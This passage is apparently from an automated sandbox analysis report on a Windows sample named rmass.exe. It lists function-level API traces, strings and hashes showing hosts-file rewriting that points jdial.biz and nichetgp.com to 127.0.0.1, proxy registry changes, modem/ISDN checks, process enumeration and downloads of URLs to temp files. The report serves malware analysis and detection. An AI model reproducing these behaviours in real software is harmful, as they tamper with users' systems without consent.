lstrcpy.KERNEL32(?,004029BD), ref: 004026A9
gethostbyname.WS2_32(?), ref: 004026BC
htons.WS2_32(00000050), ref: 004026D1
socket.WS2_32(00000002), ref: 004026F3
closesocket.WS2_32(00000000), ref: 0040270F

Part of subcall function 00401A88: RegCreateKeyExA.ADVAPI32(80000001,Software\Microsoft\Windows\CurrentVersion\Internet Settings\Connections,00000000,00000000,00000000,000F003F,00000000,?,00000000,?,?,?,?,0040273C,?,Default Flags), ref: 00401AC6

InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00402749
InternetSetOptionA.WININET(00000000,00000002,?,00000004), ref: 0040276A
InternetSetOptionA.WININET(00000000,00000006,?,00000004), ref: 00402776
InternetSetOptionA.WININET(00000000,00000005,?,00000004), ref: 00402782
wsprintfA.USER32 ref: 00402797
InternetOpenUrlA.WININET(00000000,?,00000000,00000000,84280300,00000000), ref: 004027A9
InternetCloseHandle.WININET(00000000), ref: 004027C9
InternetCloseHandle.WININET(00000000), ref: 004027D0
InternetCloseHandle.WININET(00000000), ref: 004027DB

Strings

Mozilla/4.0 (compatible; MSIE 6.0; Win32), xrefs: 00402744
http://%s/, xrefs: 0040278D

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Internet$CloseHandleOption$Openwsprintf$Createclosesocketgethostbynamehtonslstrcpysocket
String ID: Mozilla/4.0 (compatible; MSIE 6.0; Win32)$http://%s/
API String ID: 2574392083-3144419281
Opcode ID: 7141c0d76b34b7293124ca9fcd5e051a9bba558c69370034df2e1bd38ae2586a
Instruction ID: 632abfffad1eae66bbef2cffefd365432c92c77627e78cd6349fa7629361752e
Opcode Fuzzy Hash: 7141c0d76b34b7293124ca9fcd5e051a9bba558c69370034df2e1bd38ae2586a
Instruction Fuzzy Hash: E441A270240300EFE310AB659D8AB1B72A6EF48744F14853AF641FB2D2D7B89845CB6E

Uniqueness

Uniqueness Score: -1.00%

Function 004014F6 Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 188
filetimestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetFileAttributesA.KERNEL32(?,00000080), ref: 00401505
CreateFileA.KERNEL32(?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040151D
GetFileTime.KERNEL32(00000000,0040C2B0,00000000,0040C2C0,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040154F
GetFileSize.KERNEL32(00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 0040155A
ReadFile.KERNEL32(C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401586
lstrlen.KERNEL32(0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 00401631
CharLowerA.USER32(00000000,?,0040A716,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001), ref: 0040165E
SetFilePointer.KERNEL32(00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 004016C2
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000,00000000,00000000,00000000,00000004,00000000), ref: 004016D9
WriteFile.KERNEL32(C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000,00000000), ref: 004016F6
SetEndOfFile.KERNEL32(00000080,C0000000,00000000,?,00000000,00000000,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000001,00000000,00000000,00000000,C0000000), ref: 004016FF
WriteFile.KERNEL32(C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004,00000080,00000000,?,00000080), ref: 00401721
SetFileTime.KERNEL32(00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000,00000004), ref: 00401736
CloseHandle.KERNEL32(00000080,00000001,0040C2B0,00000000,0040C2C0,C0000000,127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/,00000045,00000000,00000000,00000004,00000000,?,C0000000,00000001,00000000), ref: 0040173F

Strings

127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/, xrefs: 004016D0, 00401718

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$Write$Time$AttributesCharCloseCreateHandleLowerPointerReadSizelstrlen
String ID: 127.0.0.1 jdial.biz content.jdial.biz nichetgp.com www.nichetgp.comhttp://%s/
API String ID: 2270073009-2182234249
Opcode ID: c52bceccd2cf401325cc4431ede9ebb6a45a2ac45ab0d2010045854801e18a73
Instruction ID: ed07d2a39fb80e6dc9f9b9060e9089f4a8c87d352c27c362815906d0368f32f6
Opcode Fuzzy Hash: c52bceccd2cf401325cc4431ede9ebb6a45a2ac45ab0d2010045854801e18a73
Instruction Fuzzy Hash: 59619B70608340AFD711DF25CC89B2BBBE5AB84308F54893FF095BA1E1D279D945CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 00403F9D Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 66
filestringCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryA.KERNEL32(?,000000F2), ref: 00403FA3
lstrcat.KERNEL32(?,\hosts), ref: 00403FC0
CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000,?,\hosts,?,000000FE,wininet.dll,iphlpapi.dll,rasapi32.dll,00000000,?), ref: 00403FDC
SetFilePointer.KERNEL32(00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000,?,\drivers\etc\hosts), ref: 00403FF8
ReadFile.KERNEL32(?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00404015
ReadFile.KERNEL32(?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000,000000F4,00000000,00000002,?,80000000), ref: 0040402B
ReadFile.KERNEL32(?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000,00000000), ref: 00404041
CloseHandle.KERNEL32(?,?,0040C0B0,00000004,?,00000000,?,0040C090,00000004,?,00000000,?,0040C0A0,00000004,?,00000000), ref: 0040404D
lstrcmpiA.KERNEL32(00000000,rmass.exe), ref: 00404084

Strings

qnd_b__-0F, xrefs: 00404095
rmass.exe, xrefs: 00404072
\drivers\etc\hosts, xrefs: 00403FA8

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$Read$CloseCreateDirectoryHandlePointerSystemlstrcatlstrcmpi
String ID: \drivers\etc\hosts$qnd_b__-0F$rmass.exe
API String ID: 1203944850-1622607554
Opcode ID: 9d36ee52cc99133be8fb4ab2e2ff3a7ce9a9e91b4e7d68b022974947c3cef2dd
Instruction ID: 35304083c46ce8bdd99aca2beccb525c336441cd391f258b3a4e2715a73e65a2
Opcode Fuzzy Hash: 9d36ee52cc99133be8fb4ab2e2ff3a7ce9a9e91b4e7d68b022974947c3cef2dd
Instruction Fuzzy Hash: DA1166B0644741F9F6306B71CC4BF4B2598EB81718FA0853B7355B90D1DBBC54048A2E

Uniqueness

Uniqueness Score: -1.00%

Function 00403305 Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 56
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?), ref: 00403322
RegQueryValueExA.ADVAPI32(?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403349
RegCloseKey.ADVAPI32(0002001F,?,SubshellState,00000000,0002001F,?,0000022A,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403356
RegOpenKeyExA.ADVAPI32(80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?), ref: 0040336D
RegQueryValueExA.ADVAPI32(0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 00403394
RegCloseKey.ADVAPI32(0002001F,0002001F,SubshellState,00000000,0002001F,?,0000022A,80000001,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F,?,80000002,SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced,00000000,0002001F), ref: 004033A7

Strings

SubshellState, xrefs: 00403340, 0040338B
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced, xrefs: 00403318, 00403363

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Advanced$SubshellState
API String ID: 3677997916-1581766880
Opcode ID: 5ed392f920eecd2571066ae3c69d230329d6b200585d020ea0e3cc387c12143a
Instruction ID: c555ee980e9abfa8c28e5f121e850944904ac1e59b17e8b59aea53d349d89e9f
Opcode Fuzzy Hash: 5ed392f920eecd2571066ae3c69d230329d6b200585d020ea0e3cc387c12143a
Instruction Fuzzy Hash: 8201D671248301BAE3109A51EC86F9B7ADC9F80744F10443FFE8AB50D1E6B8E864A65F

Uniqueness

Uniqueness Score: -1.00%

Function 00401038 Relevance: 14.0, APIs: 7, Strings: 1, Instructions: 45
processfilesynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStartupInfoA.KERNEL32(?), ref: 00401046
CreateProcessA.KERNEL32(?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?,?,?), ref: 00401061
CreateFileA.KERNEL32(?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000,00000000,?), ref: 00401076
WaitForSingleObject.KERNEL32(?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000,00000000), ref: 00401083
CloseHandle.KERNEL32(00000000,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 0040109A
CloseHandle.KERNEL32(?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000,00000000), ref: 004010A2
CloseHandle.KERNEL32(?,?,?,000000FF,?,80000000,00000000,00000000,00000004,00000000,00000000,?,--k33p,00000000,00000000,00000000), ref: 004010AB

Strings

--k33p, xrefs: 0040105B

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseHandle$Create$FileInfoObjectProcessSingleStartupWait
String ID: --k33p
API String ID: 881816827-1573217081
Opcode ID: ddd3902848c8796e07c5f3c15ac1c3f4e0492775949aebd283eab2fd310d7088
Instruction ID: 8066bfb0b53967ada52967b4418e7945b86cdbe5de05057fbb1ad19309dc722b
Opcode Fuzzy Hash: ddd3902848c8796e07c5f3c15ac1c3f4e0492775949aebd283eab2fd310d7088
Instruction Fuzzy Hash: 94F05E70244B0576E62036328C8FF2F6559DF01B24F608A3BB660790E2EA7CA8515D6E

Uniqueness

Uniqueness Score: -1.00%

Function 00401983 Relevance: 12.1, APIs: 8, Instructions: 82
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019A3
connect.WS2_32(00000000,00000001,00000010), ref: 004019B4
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019C4
WSAGetLastError.WS2_32 ref: 004019D0
ioctlsocket.WS2_32(00000000,8004667E,00000001), ref: 004019E3

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: ioctlsocket$ErrorLastconnect
String ID:
API String ID: 1886816560-0
Opcode ID: 1fd409ad406d014119119a8547cc7ecc19c4fade62183dd80c9d3f1a3f264389
Instruction ID: 7ca4e1aa6efa4e4985c6b63a06a3ad70c8f0fbc5506d5683ad8c2bedbe06a21d
Opcode Fuzzy Hash: 1fd409ad406d014119119a8547cc7ecc19c4fade62183dd80c9d3f1a3f264389
Instruction Fuzzy Hash: D021F8705052016AE3209A658C01FAB76ECDF85318F010A3FB191EA1E2EB7C9554CBAB

Uniqueness

Uniqueness Score: -1.00%

Function 004011CF Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 47
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExA.ADVAPI32(?,?,00000000,00020019), ref: 004011F4
wsprintfA.USER32 ref: 0040120B
RegEnumKeyA.ADVAPI32(?,00000000,?,00000300), ref: 0040122F
RegCloseKey.ADVAPI32(?,00000000,00000000,?,00000300), ref: 0040123B
RegDeleteKeyA.ADVAPI32(?), ref: 00401242

Strings

%s\%s, xrefs: 00401201

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseDeleteEnumOpenwsprintf
String ID: %s\%s
API String ID: 4202809218-4073750446
Opcode ID: 496734aa77c1a328f736e0f4b30daf5feaa3b87d5ccf9b1324277976488b9e7b
Instruction ID: ca306f76ce8eae6bb017704f8a45eb17ba94ef2d79512a313227167690010306
Opcode Fuzzy Hash: 496734aa77c1a328f736e0f4b30daf5feaa3b87d5ccf9b1324277976488b9e7b
Instruction Fuzzy Hash: 0FF0C2712843103BE225F21A9C82FBB659CDFC87D8F00043EF60AF51D2EA3C9D1191AA

Uniqueness

Uniqueness Score: -1.00%

Function 004027EA Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 45stringCOMMON

Download Yara Rule

APIs

RasEnumConnectionsA.RASAPI32(00402B05,00402B05,00402B05), ref: 0040281D
lstrcmpiA.KERNEL32(?,modem), ref: 00402847
lstrcmpiA.KERNEL32(?,isdn), ref: 00402865

Strings

isdn, xrefs: 00402850
modem, xrefs: 00402830

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: lstrcmpi$ConnectionsEnum
String ID: isdn$modem
API String ID: 1014164406-1928581975
Opcode ID: 81df9473c8702406657a654a6f43c140e6fd909b07f4e91828bd961a2bff35e9
Instruction ID: 1fd20589a5c177b5d244b704ac19eb0a17882c4c7e5a921d6270ae9881b3cb0b
Opcode Fuzzy Hash: 81df9473c8702406657a654a6f43c140e6fd909b07f4e91828bd961a2bff35e9
Instruction Fuzzy Hash: A1019276104705ABC700EB65CA98FAB73ECAB40304F14CD3AE4D5E62C1E3BCD5448B96

Uniqueness

Uniqueness Score: -1.00%

Function 004034C9 Relevance: 7.5, APIs: 5, Instructions: 49processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004034E7
Process32First.KERNEL32(00000000), ref: 004034FD
lstrcmpiA.KERNEL32(00000000,?), ref: 00403511
Process32Next.KERNEL32(00000000), ref: 00403530
CloseHandle.KERNEL32(00000000), ref: 00403538

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32lstrcmpi
String ID:
API String ID: 868014591-0
Opcode ID: dd84ccb4d2654afd96aa6337ec5bc073c9a0479d15d7ba5b892f3b809bed8c3f
Instruction ID: c1730c4a262d1c5ddb531cf5a409bf9471f7e663502f7af43a59ba8fe8c46425
Opcode Fuzzy Hash: dd84ccb4d2654afd96aa6337ec5bc073c9a0479d15d7ba5b892f3b809bed8c3f
Instruction Fuzzy Hash: 7EF0CD7220420436D6203677AC46F6F7E9CDB45365F50053FBA58F51D3E93DCA0186A5

Uniqueness

Uniqueness Score: -1.00%

Function 0040187B Relevance: 6.1, APIs: 4, Instructions: 96networkCOMMON

Download Yara Rule

APIs

select.WS2_32(00000000,?,00000000,00000000,?), ref: 004018F9
recv.WS2_32(00000000,?,?,00000002), ref: 00401909
recv.WS2_32(00000000,?,00000001,00000000), ref: 00401928
recv.WS2_32(00000000,?,00000000,00000000), ref: 0040195E

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: recv$select
String ID:
API String ID: 873784944-0
Opcode ID: 5e980a549271e8e0265eac0a3549a36de8a7d66c8810f307f3e4e8dc9c60e479
Instruction ID: 0e7c0514ff34e4ed08866b55ff767d2318ba96abf9e9c78bb5005e9928d1fd1f
Opcode Fuzzy Hash: 5e980a549271e8e0265eac0a3549a36de8a7d66c8810f307f3e4e8dc9c60e479
Instruction Fuzzy Hash: 4831C2716083469FE720EE24C894B2BBBD8EF94744F10483EF5C5E62E1E3B98904C756

Uniqueness

Uniqueness Score: -1.00%

Function 004012C2 Relevance: 6.0, APIs: 4, Instructions: 28stringfileCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?), ref: 004012E6
lstrcat.KERNEL32(00000000,?), ref: 004012EC
SetFileAttributesA.KERNEL32(?,00000080,00000000,?,?,0040AA7C), ref: 004012F7
DeleteFileA.KERNEL32(?,?,00000080,00000000,?,?,0040AA7C), ref: 004012FD

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: File$AttributesDeletelstrcatlstrcpy
String ID:
API String ID: 875521641-0
Opcode ID: 05787ede54a4b197ebd706141978513262abd48034064a23f923d53f09d0c67e
Instruction ID: ac0062008775948776803e6f6a7ba0f32bd5f245bff4d12fb7fdccc5d9a3c317
Opcode Fuzzy Hash: 05787ede54a4b197ebd706141978513262abd48034064a23f923d53f09d0c67e
Instruction Fuzzy Hash: 2AE0D872400300A5E6203639EC8DFAF759C9F40324F10893FF885711D1957C54948E6E

Uniqueness

Uniqueness Score: -1.00%

Function 004021AF Relevance: 4.5, APIs: 3, Instructions: 14networkCOMMON

Download Yara Rule

APIs

InternetCloseHandle.WININET(?), ref: 004021BA
InternetCloseHandle.WININET(00000000), ref: 004021C2
closesocket.WS2_32(?), ref: 004021CD

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: CloseHandleInternet$closesocket
String ID:
API String ID: 100882886-0
Opcode ID: 5dd4efdf049254ee53cf5a332279077dfd28f4b2404a5dd2762c9f5d8bef6647
Instruction ID: 8df18a8d94f806bd71f990b2b79a4fa53ec00ab173ae743f66f47d01ed5035f4
Opcode Fuzzy Hash: 5dd4efdf049254ee53cf5a332279077dfd28f4b2404a5dd2762c9f5d8bef6647
Instruction Fuzzy Hash: 95D09230104010DFC7022F24DE8DA157AA5BB08306B158176E206EE1F2CBB98D60EA19

Uniqueness

Uniqueness Score: -1.00%

Function 00401251 Relevance: 1.5, APIs: 1, Instructions: 42registryCOMMON

Download Yara Rule

APIs

RegSetValueExW.ADVAPI32(?,?,00000000,00000001,0040B038,00000004), ref: 004012B2

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: Value
String ID:
API String ID: 3702945584-0
Opcode ID: 568dada1835395bb2d76a8655fd190d4ed8d4c9f50e15b1bef7d45b8ddd0908b
Instruction ID: 47c0b531743c13b8f7b9b69cedc7d341682a25e1e981e5298b765a2313dc1952
Opcode Fuzzy Hash: 568dada1835395bb2d76a8655fd190d4ed8d4c9f50e15b1bef7d45b8ddd0908b
Instruction Fuzzy Hash: C3F0247134130593E7309698EC81F7B3399EF91359F50007EF604EA7D0D2386809839E

Uniqueness

Uniqueness Score: -1.00%

Function 00401000 Relevance: 1.5, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000,00000014,00401EE7), ref: 00401009

Memory Dump Source

Source File: 00000002.00000002.4536736875.0000000000401000.00000040.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.4536656870.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536902998.000000000040F000.00000080.00000001.01000000.00000004.sdmpDownload File
Associated: 00000002.00000002.4536978066.0000000000410000.00000004.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rmass.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: e2197acf973c4f7bb4f75aa707eafe49225196dd272785e62c5820851292c80a
Instruction ID: 059bb74646fdde00ddc91567d55368278c3f66c790095dbea91f8dfc7a828351
Opcode Fuzzy Hash: e2197acf973c4f7bb4f75aa707eafe49225196dd272785e62c5820851292c80a
Instruction Fuzzy Hash: E8A00274554504BAEA112761AD4AF663519FB40F04FD051BA7500744F185791810AA2C

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 0040233A Relevance: 52.7, APIs: 24, Strings: 6, Instructions: 243filestringprocessCOMMON

Download Yara Rule

APIs

lstrcpy.KERNEL32(?,?), ref: 00402377
GetTempPathA.KERNEL32(00000104,?,?,?,?,00000000,?,00000000,?,00402E29,00000000,00000000,?,Default Flags,00000000,00000003), ref: 004023FF
lstrcpy.KERNEL32(?,?), ref: 00402423
lstrcat.KERNEL32(00000000,?), ref: 00402429
lstrcat.KERNEL32(00000000,00000000), ref: 0040242F
CreateFileA.KERNEL32(?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040245E

Part of subcall function 00401C3E: lstrcpy.KERNEL32(?,?), ref: 00401C6A
Part of subcall function 00401C3E: lstrlen.KERNEL32(00000000,?,?), ref: 00401C70
Part of subcall function 00401C3E: htons.WS2_32(00000050), ref: 00401CD1
Part of subcall function 00401C3E: socket.WS2_32(00000002,00000001,00000006), ref: 00401D2C
Part of subcall function 00401C3E: closesocket.WS2_32(00000000), ref: 00401D4F
Part of subcall function 00401C3E: InternetOpenA.WININET(Mozilla/4.0 (compatible; MSIE 6.0; Win32),00000004,00000000,00000000,00000000), ref: 00401E65
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000002,00000004), ref: 00401E8B
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000006,00000004,00000004), ref: 00401E97
Part of subcall function 00401C3E: InternetSetOptionA.WININET(00000000,00000005,00000004,00000004), ref: 00401EA3

GetTempFileNameA.KERNEL32(?,tmp,00000000,?), ref: 0040243F
WriteFile.KERNEL32(00000000,?,00000000,0040C160,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 0040248E

Part of subcall function 00402056: InternetReadFile.WININET(?,?,?,?), ref: 0040207A

CloseHandle.KERNEL32(00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024B8
DeleteFileA.KERNEL32(?,00000000,?,40000000,00000000,00000000,00000002,00000080,00000000,?,tmp,00000000,?), ref: 004024CB
